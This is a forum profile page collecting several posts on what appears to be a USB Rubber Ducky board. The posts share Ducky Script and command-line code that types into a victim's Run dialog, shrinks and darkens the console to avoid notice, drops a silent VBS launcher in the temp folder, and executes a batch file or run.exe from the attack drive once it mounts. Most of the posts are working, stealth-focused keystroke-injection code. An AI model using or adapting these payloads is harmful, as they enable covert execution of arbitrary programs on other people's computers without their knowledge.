Jump to content

White Light

Active Members
  • Posts

    67
  • Joined

  • Last visited

  • Days Won

    2

Posts posted by White Light

  1. (Might be best to be patient with replies. This is a pretty quiet board.)

    I've noticed that a longer initial delay helps with the driver issue. Usually about 4s does the trick, though it depends on the speed of the computer. It seems to me that if it tries to type while the drivers are still installing, it just skips it and will keep typing the rest of your script until that happens. Other than that, why not just plug it in again after the driver has installed?

  2. Here's the VBS code I've been working on, along with the modified CMD string.

    REM DEFAULT_DELAY 20
    DELAY 2000
    GUI r
    DELAY 100
    STRING cmd /T:01 /K mode con cols=15 lines=1©/y con %tmp%\z.vbs
    ENTER
    DELAY 300
    STRING on error resume next:Set s = GetObject("winmgmts:"):d="":do while d=""
    ENTER
    STRING Set c = s.ExecQuery("Select * from Win32_Volume Where Label='DUCKY'"):set o=c.ItemIndex(0):d=o.Name
    ENTER
    STRING if d="" then wscript.sleep 500
    ENTER
    STRING loop
    ENTER
    STRING Set w = WScript.CreateObject("WScript.Shell"):w.Run d&"\r.bat", 1 , false
    ENTER
    DELAY 10
    CTRL z
    ENTER
    DELAY 50
    STRING start "" %tmp%\z.vbs&exit
    ENTER

    Weird, it didn't include everything I typed after the code. I really can't be bothered to type out all that again, but I'll summarize.

    Some CMD switches don't do much or nothing at all. I've included only the ones necessary.

    Making the window smaller using mode instead of moving it is probably less noticeable. Moving to the left is better than down, as the window generally spawns in upper-left side of screen.

    VBS code runs silent, loops until it finds the drive named "DUCKY".

    90% certain VBS code will work on all XP versions and above. If it won't work on something, it'll be XP Home.

  3. Here's the VBS code I've been working on, along with the modified CMD string.

    REM DEFAULT_DELAY 20
    DELAY 2000
    GUI r
    DELAY 100
    STRING cmd /T:01 /K mode con cols=15 lines=1©/y con %tmp%\z.vbs
    ENTER
    DELAY 300
    STRING on error resume next:Set s = GetObject("winmgmts:"):d="":do while d=""
    ENTER
    STRING Set c = s.ExecQuery("Select * from Win32_Volume Where Label='DUCKY'"):set o=c.ItemIndex(0):d=o.Name
    ENTER
    STRING if d="" then wscript.sleep 500
    ENTER
    STRING loop
    ENTER
    STRING Set w = WScript.CreateObject("WScript.Shell"):w.Run d&"\r.bat", 1 , false
    ENTER
    DELAY 10
    CTRL z
    ENTER
    DELAY 50
    STRING start "" %tmp%\z.vbs&exit
    ENTER
  4. If you look, it actually only uses diskpart on XP (as XP home doesn't have access to the WMI console). Everything else is all just done in one command. If you were to run CMD and have the above run via the command line directly, the box would be visible only for the amount of time necessary to either query diskpart or WMIC (a few seconds at most).

    Ducks only seem to mount the FS slowly the first time it is plugged into a computer, making testing timings difficult. I've got a work-in-progress using VBS to loop in the background waiting for the drive to load, which means that timing wouldn't ever be an issue. In the mean time, I would suggest that instead of using

    cmd /Q /D /T:7F /F:OFF /V:ON /K
    you could try changing the colour setting to something with two dark settings, like 01 (if my memory serves that's dark blue on black background). You could also try reducing the console size to the bare minimum (1 line and somewhere between 10-18 columns, I can never remember).

    cmd /Q /D /T:01 /F:OFF /V:ON /K mode con cols=18 lines=1
    Please forgive any mistakes. I'm on mobile right now, so I can't exactly test the syntax of the mode command.
  5. Personally, I would do something like this, to avoid having to loop through each drive letter:

    for /f "tokens=3" %v in ('ver') do if %v==XP (for /f "tokens=3" %a in ('echo list volume ^| diskpart ^| find "Volume" ^| find "RUN"') do start "" %a:\run.exe) else (for /f %a in ('wmic logicaldisk get volumename^,name ^| find "RUN"') do start "" %a\run.exe)
    

    Works on Windows XP using diskpart as well as Vista+ using wmic.

×
×
  • Create New...